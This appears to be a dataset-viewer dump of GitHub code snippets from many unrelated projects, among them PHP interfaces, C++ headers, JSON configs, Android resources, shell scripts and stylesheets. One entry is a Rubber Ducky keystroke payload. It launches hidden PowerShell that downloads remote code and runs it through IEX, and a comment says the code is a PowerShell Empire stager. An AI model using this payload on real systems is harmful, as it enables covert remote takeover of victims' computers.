text stringlengths 2 99.9k | meta dict |
|---|---|
<?php
namespace App\Contracts;
interface ApiController
{
/**
* Takes input and provides a response.
* This will switch between a standard JSON output and a Messenger respnse
* depending on request parameters.
*
* @param mixed $data Input data.
*
* @return Illuminate\Http\JsonRes... | {
"pile_set_name": "Github"
} |
#pragma once
#include <frg/spinlock.hpp>
namespace thor {
void initializeProcessorEarly();
inline bool intsAreEnabled() {
// TODO
return false;
}
inline void enableInts() {
// TODO
}
inline void disableInts() {
// TODO
}
inline void halt() {
asm volatile ("wfi");
}
void suspendSelf();
void sendPingIpi(int... | {
"pile_set_name": "Github"
} |
/*
* Copyright 2018 Google, Inc.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer;
* ... | {
"pile_set_name": "Github"
} |
{
"version": "1.0",
"sessionAttributes": {},
"response": {
"outputSpeech": {
"type": "SSML",
"ssml": "<speak>Simple Ask</speak>"
},
"reprompt": {
"outputSpeech": {
"type": "SSML",
"ssml": "<speak>Simple Ask Reprompt</speak>"
}
},
"card": {
"type": ... | {
"pile_set_name": "Github"
} |
using EddiEvents;
using System;
using System.Collections.Generic;
namespace EddiMissionMonitor
{
public class MissionRedirectedEvent : Event
{
public const string NAME = "Mission redirected";
public const string DESCRIPTION = "Triggered when a mission is redirected";
public const string... | {
"pile_set_name": "Github"
} |
###############################################################################
# Copyright (c) 2000, 2011 IBM Corporation and others.
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Eclipse Public License v1.0
# which accompanies this distribution, and is ... | {
"pile_set_name": "Github"
} |
{
"images" : [
{
"idiom" : "universal",
"filename" : "fullscreenIcon.png",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "fullscreenIcon@2x.png",
"scale" : "2x"
},
{
"idiom" : "universal",
"filename" : "fullscreenIcon@3x.png",
"scale"... | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Fuzzy -->
<string name="action_settings">"Inställningar"</string>
<!-- Fuzzy -->
<string name="oauth_communication_error">"Ingen åtkomst till servern för godkännande"</string>
<!-- Fuzzy -->
<string name="retry">"Försök igen"</string>
... | {
"pile_set_name": "Github"
} |
###*
Builder for buffers. Basically allows building a buffer
but the buffer isn't created until toBuffer is called.
###
class exports.BufferBuilder
@getUcs2StringLength: (string) -> string.length * 2
constructor: ->
@_values = []
@length = 0
# please keep functions in alphabetical ord... | {
"pile_set_name": "Github"
} |
/* ------------------------------------------------------------------------------
*
* # Single navbar
*
* Specific JS code additions for navbar_single.html page
*
* Version: 1.0
* Latest update: Aug 1, 2015
*
* ---------------------------------------------------------------------------- */
$(function() {
// ... | {
"pile_set_name": "Github"
} |
package store
import (
"context"
"strings"
"unsafe"
"github.com/pingcap/tidb/kv"
"github.com/pingcap/tidb/store/tikv"
)
// Transaction options
const (
// PresumeKeyNotExists indicates that when dealing with a Get operation but failing to read data from cache,
// we presume that the key does not exist in Store... | {
"pile_set_name": "Github"
} |
/*
* This file is part of Nanomite.
*
* Nanomite is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Nanomite i... | {
"pile_set_name": "Github"
} |
<?xml version='1.0' ?>
<Module id='124' name='Mcl_NtElevation_ErNi_GrSa'>
<Interfaces>
<Interface id='0x01c16fd5' provider='0x01010001'/>
<Interface id='0x02c16fd5' provider='0x01010001'/>
<Interface id='0x03c16fd5' provider='0x01010001'/>
</Interfaces>
<Dependencies>
</Dependencies>
<Lp>No... | {
"pile_set_name": "Github"
} |
@charset "UTF-8";
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场(https://ext.dcloud.net.cn)上很多三方插件均使用了这些样式变量
* 如果你是插件开发者,建议你使用scss预处理,并在插件代码中直接使用这些变量(无需 import 这个文件),方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者(插件使用者),你可以通过修改这些变量来定制自己的插件主题,实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理,你也可以直接在你的 scss 代码中使用如下变量... | {
"pile_set_name": "Github"
} |
//
// ObservableType.swift
// RxSwift
//
// Created by Krunoslav Zaher on 8/8/15.
// Copyright © 2015 Krunoslav Zaher. All rights reserved.
//
import Foundation
/**
Represents a push style sequence.
*/
public protocol ObservableType : ObservableConvertibleType {
/**
Type of elements in sequence.
*/
... | {
"pile_set_name": "Github"
} |
The "stm32l0xx.h" and "system_stm32l0xx.h" files are provided
only as a functional sample.
For real applications they must be replaced by the vendor provided files.
Extensions to the ARM CMSIS files:
- the file "cmsis_device.h" was added, as a portable method to include the
vendor device header file in library sou... | {
"pile_set_name": "Github"
} |
#!/bin/bash
# by Andy Maloney
# http://asmaloney.com/2013/07/howto/packaging-a-mac-os-x-application-using-a-dmg/
dir=${0%/*}
if [ -d "$dir" ]; then
pushd "$dir"
fi
pushd ../../../cp-build-osx
# ./contrib/scripts/create_dmg.sh caveexpress 2.4
# set up your app name, version number, and background image file name
... | {
"pile_set_name": "Github"
} |
/* -*-c++-*- */
/* osgEarth - Geospatial SDK for OpenSceneGraph
* Copyright 2020 Pelican Mapping
* http://osgearth.org
*
* osgEarth is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2... | {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<title>Rapid Gate Module - Rapid SCADA Documentation</title>
<meta charset="utf-8" />
<link href="../../../../css/scadadoc.min.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../../../../lib/jquery/jquery.min.js"></script>
<script type="tex... | {
"pile_set_name": "Github"
} |
#![feature(specialization)]
trait Thingable {
fn thing(&self) -> &str;
}
struct Delegator<T>(Option<T>);
struct Delegate {}
impl Thingable for Delegate {
fn thing(&self) -> &'static str {
"Delegate implementation"
}
}
impl<T> Thingable for Delegator<T> {
default fn thing(&self) -> &str {
... | {
"pile_set_name": "Github"
} |
<component name="ProjectCodeStyleConfiguration">
<code_scheme name="Project" version="173">
<Objective-C-extensions>
<file>
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Import" />
<option name="com.jetbrains.cidr.lang.util.OCDeclarationKind" value="Macro" />
<... | {
"pile_set_name": "Github"
} |
/*
* Scratch Project Editor and Player
* Copyright (C) 2014 Massachusetts Institute of Technology
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (... | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contribut... | {
"pile_set_name": "Github"
} |
// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of ... | {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you... | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Softwa... | {
"pile_set_name": "Github"
} |
/***************************************************************************
copyright : (C) 2002 - 2008 by Scott Wheeler
email : wheeler@kde.org
copyright : (C) 2006 by Urs Fleisch
email : ufleisch@users.sourceforge.net
*****************************... | {
"pile_set_name": "Github"
} |
--TEST--
mysql_connect()
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
include_once "connect.inc";
$tmp = NULL;
$link = NULL;
// mysql_connect ( [string server [, string username [, string password [, bool new_link [, int client_flags]]]]] )
if (NULL !==... | {
"pile_set_name": "Github"
} |
#language "lang/plush/0"
var sum = 0;
var odd = true;
for (var i = 1; i < 10; i = i + 1)
{
if (i == 5)
{
print("break");
break;
}
print(i);
sum = sum + i;
}
print(sum);
assert (sum == 10);
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:gravity="center">
<net.simonvt.calendarview.CalendarView
android:layo... | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter class... | {
"pile_set_name": "Github"
} |
# Keyrune v3.7.0
## The Magic: the Gathering set symbol font!
**Heads up:** the documentation page has been moved to [keyrune.andrewgioia.com](https://keyrune.andrewgioia.com)!
Keyrune is the first suite of complete Magic: the Gathering expansion and set symbols as a pictographic font. You can use this font anywhere... | {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 %s -emit-llvm -triple x86_64-apple-macosx10.13.0 -o - | FileCheck %s --check-prefixes=CHECK,NO_EXCEPTIONS
// RUN: %clang_cc1 -fexceptions %s -emit-llvm -triple x86_64-apple-macosx10.13.0 -o - | FileCheck %s --check-prefixes=CHECK,EXCEPTIONS
struct NonTrivial {
~NonTrivial();
};
// CHECK-LABEL: de... | {
"pile_set_name": "Github"
} |
// Copyright (c) MOSA Project. Licensed under the New BSD License.
namespace System.Collections
{
/// <summary>
/// Interface for "System.Collections.IStructuralComparable"
/// </summary>
public interface IStructuralComparable
{
int CompareTo(object other, IComparer comparer);
}
}
| {
"pile_set_name": "Github"
} |
__all__ = [
"TimeSeriesForestRegressor"
]
from sktime.regression.compose._ensemble import TimeSeriesForestRegressor
| {
"pile_set_name": "Github"
} |
(module DSUB-37_Female_Vertical_P2.77x2.84mm (layer F.Cu) (tedit 59FEDEE2)
(descr "37-pin D-Sub connector, straight/vertical, THT-mount, female, pitch 2.77x2.84mm, distance of mounting holes 63.5mm, see https://disti-assets.s3.amazonaws.com/tonar/files/datasheets/16730.pdf")
(tags "37-pin D-Sub connector straight v... | {
"pile_set_name": "Github"
} |
<resources>
<!--BitmapNotification-->
<string name="image_generator_press_start">Auf dem Gerät START tippen</string>
<string name="image_generator_go_to_new_address">Bitte neue Adresse aufrufen</string>
<string name="image_generator_reload_this_page">Bitte laden Sie die Seite neu</string>
<!--HTML ... | {
"pile_set_name": "Github"
} |
require 'es6-shim'
vows = require 'vows'
assert = require 'assert'
chroma = require '../chroma'
vows
.describe('Some tests for chroma.limits()')
.addBatch
'simple continuous domain':
topic: -> chroma.limits [1,2,3,4,5], 'continuous'
'domain': (topic) -> assert.deepEqual topic,... | {
"pile_set_name": "Github"
} |
/*
* LibrePCB - Professional EDA for everyone!
* Copyright (C) 2013 LibrePCB Developers, see AUTHORS.md for contributors.
* https://librepcb.org/
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Fou... | {
"pile_set_name": "Github"
} |
using Ko.Navigation.CefGlue.Tests.Infra;
using Tests.Universal.NavigationTests;
using Xunit;
using Xunit.Abstractions;
namespace Ko.Navigation.CefGlue.Tests
{
[Collection("Cef Window Integrated")]
public class DoubleNavigation_Ko_Cef_Tests : DoubleNavigationTests
{
public DoubleNavigation_Ko_Cef_T... | {
"pile_set_name": "Github"
} |
# SPDX-License-Identifier: GPL-2.0
#
# Makefile for ALSA
# Copyright (c) 2001 by Jaroslav Kysela <perex@perex.cz>
#
snd-i2c-objs := i2c.o
snd-cs8427-objs := cs8427.o
snd-tea6330t-objs := tea6330t.o
obj-$(CONFIG_SND) += other/
# Toplevel Module Dependency
obj-$(CONFIG_SND_INTERWAVE_STB) += snd-tea6330t.o snd-i2c.o
ob... | {
"pile_set_name": "Github"
} |
package cc.redpen.util;
import java.util.function.Predicate;
import static java.lang.Math.min;
public class LanguageDetector {
public String detectLanguage(String text) {
if (has(text, StringUtils::isProbablyJapanese)) {
boolean zenkaku = text.indexOf('。') >= 0 || text.indexOf('、') >= 0 || text.indexOf('... | {
"pile_set_name": "Github"
} |
// Stacked Icons
// -------------------------
.#{$fa-css-prefix}-stack {
position: relative;
display: inline-block;
width: 2em;
height: 2em;
line-height: 2em;
vertical-align: middle;
}
.#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
position: absolute;
left: 0;
width: 100%;
text-align: c... | {
"pile_set_name": "Github"
} |
https https://www.cs.utexas.edu/users/mfkb/km/km-latest.tgz
| {
"pile_set_name": "Github"
} |
package common
import (
"testing"
)
func TestBresenhamSlope1(t *testing.T) {
t.Fatalf("%v", DrawLineOnCells(5, 5, 10, 15, 20, 20))
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2016 IBM Corp.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not us... | {
"pile_set_name": "Github"
} |
var convert = require('./convert'),
func = convert('upperCase', require('../upperCase'), require('./_falseOptions'));
func.placeholder = require('./placeholder');
module.exports = func;
| {
"pile_set_name": "Github"
} |
defmodule Mobilizon.Storage.Repo.Migrations.AddConversations do
use Ecto.Migration
def change do
create table(:conversations) do
add(:title, :string)
add(:slug, :string)
add(:actor_id, references(:actors, on_delete: :delete_all), null: false)
add(:creator_id, references(:actors, on_dele... | {
"pile_set_name": "Github"
} |
/*
This file is part of the iText (R) project.
Copyright (c) 1998-2020 iText Group NV
Authors: iText Software.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation ... | {
"pile_set_name": "Github"
} |
{
global: retro_*;
local: *;
};
| {
"pile_set_name": "Github"
} |
Prism.languages.lolcode = {
'comment': [
/\bOBTW\s+[\s\S]*?\s+TLDR\b/,
/\bBTW.+/
],
'string': {
pattern: /"(?::.|[^"])*"/,
inside: {
'variable': /:\{[^}]+\}/,
'symbol': [
/:\([a-f\d]+\)/i,
/:\[[^\]]+\]/,
/:[)>o":]/
]
}
},
'number': /(-|\b)\d*\.?\d+/,
'symbol': {
pattern: /(^|\s)(?... | {
"pile_set_name": "Github"
} |
-# Copyright (c) 2012-2017, Pfadibewegung Schweiz. This file is part of
-# hitobito_pbs and licensed under the Affero General Public License version 3
-# or later. See the COPYING file at the top-level directory or at
-# https://github.com/hitobito/hitobito_pbs.
= f.labeled_text_area(:address, rows: 2) if entry.sh... | {
"pile_set_name": "Github"
} |
/*
* Copyright 2017 Crown Copyright
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed... | {
"pile_set_name": "Github"
} |
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Inc\\' => array($baseDir . '/inc'),
);
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>D3: Transitioning points to randomized values</title>
<script type="text/javascript" src="../d3.js"></script>
<style type="text/css">
/* No style rules here yet */
</style>
</head>
<body>
<p>Click on this text to update the chart ... | {
"pile_set_name": "Github"
} |
@import url(../shared.css);
body {
margin: 0;
padding: 0;
}
.cesium-infoBox-description {
font-family: sans-serif;
font-size: 13px;
padding: 4px 10px;
margin-right: 4px;
color: #edffff;
}
.cesium-infoBox-description a:link,
.cesium-infoBox-description a:visited,
.cesium-infoBox-description a:hover,
.ces... | {
"pile_set_name": "Github"
} |
/*
* Copyright 2018, Haiku, Inc. All rights reserved.
* Distributed under the terms of the MIT license.
*/
#ifndef _FBSD_COMPAT_MACHINE_SMP_H_
#define _FBSD_COMPAT_MACHINE_SMP_H_
#include <sys/smp.h>
#endif /* _FBSD_COMPAT_MACHINE_SMP_H_ */
| {
"pile_set_name": "Github"
} |
0.7.1 / 2015-04-20
==================
* prevent extraordinary long inputs (@evilpacket)
* Fixed broken readme link
0.7.0 / 2014-11-24
==================
* add time abbreviations, updated tests and readme for the new units
* fix example in the readme.
* add LICENSE file
0.6.2 / 2013-12-05
==================
... | {
"pile_set_name": "Github"
} |
sha256:61a90f96abbafffce04b1224c4e45898d61e5eda81c8898aa3fa78ef998978c8
| {
"pile_set_name": "Github"
} |
// stellar.scl
// stellar scale in 1/4 kleismic marvel tempering
//
@60
:intervals
261.6255653006
279.68949403101
285.8344830893
293.67396865289
299.00064605783
305.56991559227
313.95067836072
326.66798057332
343.00137970705
349.22276077151
366.6838987106
373.3348350421
392.00157668785
407.8805... | {
"pile_set_name": "Github"
} |
SHORT_NAME=tcp_echo
include ../makeapp
| {
"pile_set_name": "Github"
} |
<div class="form-group">
<label><?php echo erTranslationClassLhTranslation::getInstance()->getTranslation('department/edit','Exception groups to apply');?></label>
<div class="row">
<?php
echo erLhcoreClassRenderHelper::renderCheckbox(array(
'list_function' => 'erLhcoreClassModelGene... | {
"pile_set_name": "Github"
} |
#extension GL_OES_EGL_image_external : require
precision mediump float;
varying vec2 textureCoordinate;
uniform sampler2D inputTexture;
uniform float scale;
void main() {
vec2 uv = textureCoordinate.xy;
// 将纹理坐标中心转成(0.0, 0.0)再做缩放
vec2 center = vec2(0.5, 0.5);
uv -= center; uv = uv / scale;
uv += center;
gl_FragColor = ... | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2012 ST Microelectronics
* Viresh Kumar <vireshk@kernel.org>
*
* This file is licensed under the terms of the GNU General Public
* License version 2. This program is licensed "as is" without any
* warranty of any kind, whether express or implied.
*
* General Purpose Timer Synthesizer clock im... | {
"pile_set_name": "Github"
} |
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------... | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2008, 2009 Apple Inc. All rights reserved.
* Copyright (C) 2010-2011 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code m... | {
"pile_set_name": "Github"
} |
/* copyright(C) 2003 H.Kawai (under KL-01). */
#if (!defined(STDIO_H))
#define STDIO_H 1
#if (defined(__cplusplus))
extern "C" {
#endif
#if (!defined(NULL))
#define NULL ((void *) 0)
#endif
#include <stdarg.h>
int sprintf(char *s, const char *format, ...);
int vsprintf(char *s, const char *form... | {
"pile_set_name": "Github"
} |
/*
* DateJS Culture String File
* Country Code: fa-IR
* Name: Persian (Iran)
* Format: "key" : "value"
* Key is the en-US term, Value is the Key in the current language.
*/
Date.CultureStrings = Date.CultureStrings || {};
Date.CultureStrings["fa-IR"] = {
"name": "fa-IR",
"englishName": "Persian (... | {
"pile_set_name": "Github"
} |
/* For information on usage and redistribution, and for a DISCLAIMER OF ALL
* WARRANTIES, see the file, "LICENSE.txt," in this distribution.
iemgui written by Thomas Musil, Copyright (c) IEM KUG Graz Austria 2000 - 2006 */
#include "m_pd.h"
#include "iemlib.h"
#include "iemgui.h"
#include "g_canvas.h"
#include "g_all... | {
"pile_set_name": "Github"
} |
using System;
using System.Collections;
using System.Text;
using System.Threading;
using System.Diagnostics;
using IDE.Debugger;
using System.IO;
using Beefy;
using Beefy.utils;
using IDE.Util;
namespace IDE
{
public class Program
{
//System.Collections.List<System.String> list;
static int32 Main(St... | {
"pile_set_name": "Github"
} |
/**
* Tencent is pleased to support the open source community by making Tars available.
*
* Copyright (C) 2016THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the BSD 3-Clause License (the "License"); you may not use this file except
* in compliance with the License. You may obtain a ... | {
"pile_set_name": "Github"
} |
GUI r
DELAY 500
STRING powershell -w 1 -nop -noni -c "IEX (iwr 'https://goo.gl/XXXXXXX')"
ENTER
REM Where https://goo.gl/XXXXXXX forwards to a raw version of a GIST containing an Empire Stager | {
"pile_set_name": "Github"
} |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
module.exports = class FileKindPlugin {
constructor(source, target) {
this.source = source;
this.target = target;
}
apply(resolver) {
const target = resolver.ensureHook(this.target);
resolver
... | {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
</head>
<body>
<noscript>
<strong>
We're sorry but this ap... | {
"pile_set_name": "Github"
} |
// Copyright 2016 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --validate-asm --allow-natives-syntax
function WrapInAsmModule(func) {
function MODULE_NAME(stdlib) {
"use asm";
var fround = stdli... | {
"pile_set_name": "Github"
} |
/**
* @author Richard Davey <rich@photonstorm.com>
* @copyright 2020 Photon Storm Ltd.
* @license {@link https://opensource.org/licenses/MIT|MIT License}
*/
/**
* The Sound Manager Global Rate Event.
*
* This event is dispatched by the Base Sound Manager, or more typically, an instance of the Web... | {
"pile_set_name": "Github"
} |
#!/bin/bash
BEEHIVE_USER_HOME=${1:-'/var/lib/beehive'}
INSTALL_PREFIX=${2:-''}
TWITTER_USERNAME=${3:-'getbeehive'}
ROUTER_HOST=${4:-''}
SRC_DIR="/tmp/beehive"
sudo apt-get update -y
sudo apt-get install -y curl git-core
sudo apt-get install -y build-essential libc6-dev m4 libssl-dev libncurses5 libncurses5-dev libcap... | {
"pile_set_name": "Github"
} |
// boost\math\tools\promotion.hpp
// Copyright John Maddock 2006.
// Copyright Paul A. Bristow 2006.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt
// or copy at http://www.boost.org/LICENSE_1_0.txt)
// Promote arguments func... | {
"pile_set_name": "Github"
} |
<?php
/* For licensing terms, see /license.txt */
/**
* Class ScoreDisplayForm
* Form for the score display dialog.
*
* @author Stijn Konings
* @author Bert Steppé
*/
class ScoreDisplayForm extends FormValidator
{
/**
* @param $form_name
* @param null $action
*/
public function __construct... | {
"pile_set_name": "Github"
} |
package main
import (
"fmt"
"mjlib"
"time"
)
func print_cards(cards []int) {
for i := 0; i < 9; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
for i := 9; i < 18; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
for i := 18; i < 27; i++ {
fmt... | {
"pile_set_name": "Github"
} |
h1. Color
blackbody
ccdresponse
cie_primaries
cmfrgb
cmfxyz
ccxyz
colordistance
colorname
colorspace
lambda2rg
lambda2xy
loadspectrum
luminos
rg_addticks
rgb2xyz
rluminos
showcolorspace
tristim2cc
yuv2rgb
yuv2rgb2
h1. Camera models
Camera
CentralCamera
CatadioptricCamera
FishEyeCamera
SphericalCamera
camcald
invcamca... | {
"pile_set_name": "Github"
} |
This file should never be run or considered in the migration process
since it doesn't follow convention | {
"pile_set_name": "Github"
} |
with System.Storage_Elements;
package body Density_Altitude.Pressure_Unit
with Spark_Mode => On,
Refined_State => (Press_State => Press_Sensor)
is
Press_Sensor : PSI
with Volatile => True,
Async_Writers => True,
Address => System.Storage_Elements.To_Address (16... | {
"pile_set_name": "Github"
} |
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR Timm Bäder
# This file is distributed under the same license as the corebird package.
#
# Translators:
# HybridGlucose <a07051226@gmail.com>, 2016-2017-2017
msgid ""
msgstr ""
"Project-Id-Version: Corebird\n"
"Report-Msgid-Bugs-To: https://github.com/baedert/corebird/issue... | {
"pile_set_name": "Github"
} |
// Shared Container API
// ====================
// Container Output
// ----------------
// - [$width] : <length>
// - [$justify] : left | center | right
// - [$math] : fluid | static
@mixin container-output(
$width,
$justify: auto auto,
$property: max-width
) {
$output: (
#{$property... | {
"pile_set_name": "Github"
} |
// Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
info: Block within a "for-in" Expression is not allowed
es5id: 12.6.4_A15
description: Using block within "for-in" Expression
negative: SyntaxError
---*/
var __arr=[1,2,3];
//////... | {
"pile_set_name": "Github"
} |
# NOTE: Derived from ../../lib/POSIX.pm.
# Changes made here will be lost when autosplit is run again.
# See AutoSplit.pm.
package POSIX;
#line 695 "../../lib/POSIX.pm (autosplit into ../../lib/auto/POSIX/getppid.al)"
sub getppid {
usage "getppid()" if @_ != 0;
CORE::getppid;
}
# end of POSIX::getppid
1;
| {
"pile_set_name": "Github"
} |
<span class="to {{ chat_message['source']['to'] }}">{{ bot.name if chat_message['source']['to'] == 'bot' else 'pajlada' }}</span>
| {
"pile_set_name": "Github"
} |
/*---------------------------------------------------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration |
\\ / A nd | Copyright (C) 2011 OpenFOAM Foundation
\\/ M anipulation |
-------------... | {
"pile_set_name": "Github"
} |
#
# service: simple wrapper around start-stop-daemon
#
# Usage: service ACTION EXEC ARGS...
#
# Action:
# -C check if EXEC is alive
# -S start EXEC, passing it ARGS as its arguments
# -K kill EXEC, sending it a TERM signal if not specified otherwise
#
# Environment variables exposed:
# SERVICE_DAEMONIZE run EXE... | {
"pile_set_name": "Github"
} |
;header
desc = %remote door
;ai
aiinit = appear1.fpi
aimain = doorremote.fpi
aidestroy = disappear1.fpi
;spawn
spawnmax = 0
spawndelay = 0
spawnqty = 0
;orientation
model = meshbank\scifi\scenery\doors\door_f\door_f.x
offx = 0
offy = 50
offz ... | {
"pile_set_name": "Github"
} |
'use strict';
angular.module("ngLocale", [], ["$provide", function($provide) {
var PLURAL_CATEGORY = {ZERO: "zero", ONE: "one", TWO: "two", FEW: "few", MANY: "many", OTHER: "other"};
$provide.value("$locale", {
"DATETIME_FORMATS": {
"AMPMS": [
"\u0410\u041c",
"\u041f\u041c"
],
"DAY": [
"... | {
"pile_set_name": "Github"
} |
{
"proportion_index": [0.5382, 0.588, 0.3942, 0.1855, 0.304],
"structural": {
"Torso_BreastTone": 0.7,
"Cheeks_Tone": 1.5,
"Shoulders_Tone": 1.5,
"Legs_UpperlegsMass": 0.15,
"Feet_Mass": 0.15,
"Abdomen_Tone": 1.0,
"Legs_UpperlegsTone": 1.5,
"Neck_Mass": 0.15,
"Legs_LowerlegsTone"... | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ldml SYSTEM "../../common/dtd/ldml.dtd">
<!-- Copyright © 1991-2013 Unicode, Inc.
CLDR data files are interpreted according to the LDML specification (http://unicode.org/reports/tr35/)
For terms of use, see http://www.unicode.org/copyright.html
-->
<ldml>
<identity>
... | {
"pile_set_name": "Github"
} |
# ansi-regex [](https://travis-ci.org/chalk/ansi-regex)
> Regular expression for matching [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code)
## Install
```
$ npm install ansi-regex
```
## Usage
```js
const ansiRegex = requi... | {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <PhotosUICore/PXLayoutMetrics.h>
@class PXCompositeEditorialLayoutSpec;
@interface PXCompositeEditorialLayoutMetrics : PXLayo... | {
"pile_set_name": "Github"
} |
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreatePaymentTypeCustomerGroup extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('pay... | {
"pile_set_name": "Github"
} |
# Proof-of-concept
import cv2
import sys
import os
from constants import *
from emotion_recognition import EmotionRecognition
import numpy as np
def format_image(image):
if len(image.shape) > 2 and image.shape[2] == 3:
image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
else:
image = cv2.imdecode(... | {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='utf-8'?>
<section xmlns="https://code.dccouncil.us/schemas/dc-library" xmlns:codified="https://code.dccouncil.us/schemas/codified" xmlns:codify="https://code.dccouncil.us/schemas/codify" xmlns:xi="http://www.w3.org/2001/XInclude" containing-doc="D.C. Code">
<num>31-2301</num>
<heading>... | {
"pile_set_name": "Github"
} |
{
"description": "ContainerPort represents a network port in a single container.",
"required": [
"containerPort"
],
"properties": {
"containerPort": {
"description": "Number of port to expose on the pod's IP address. This must be a valid port number, 0 < x < 65536.",
"type": "integer",
... | {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.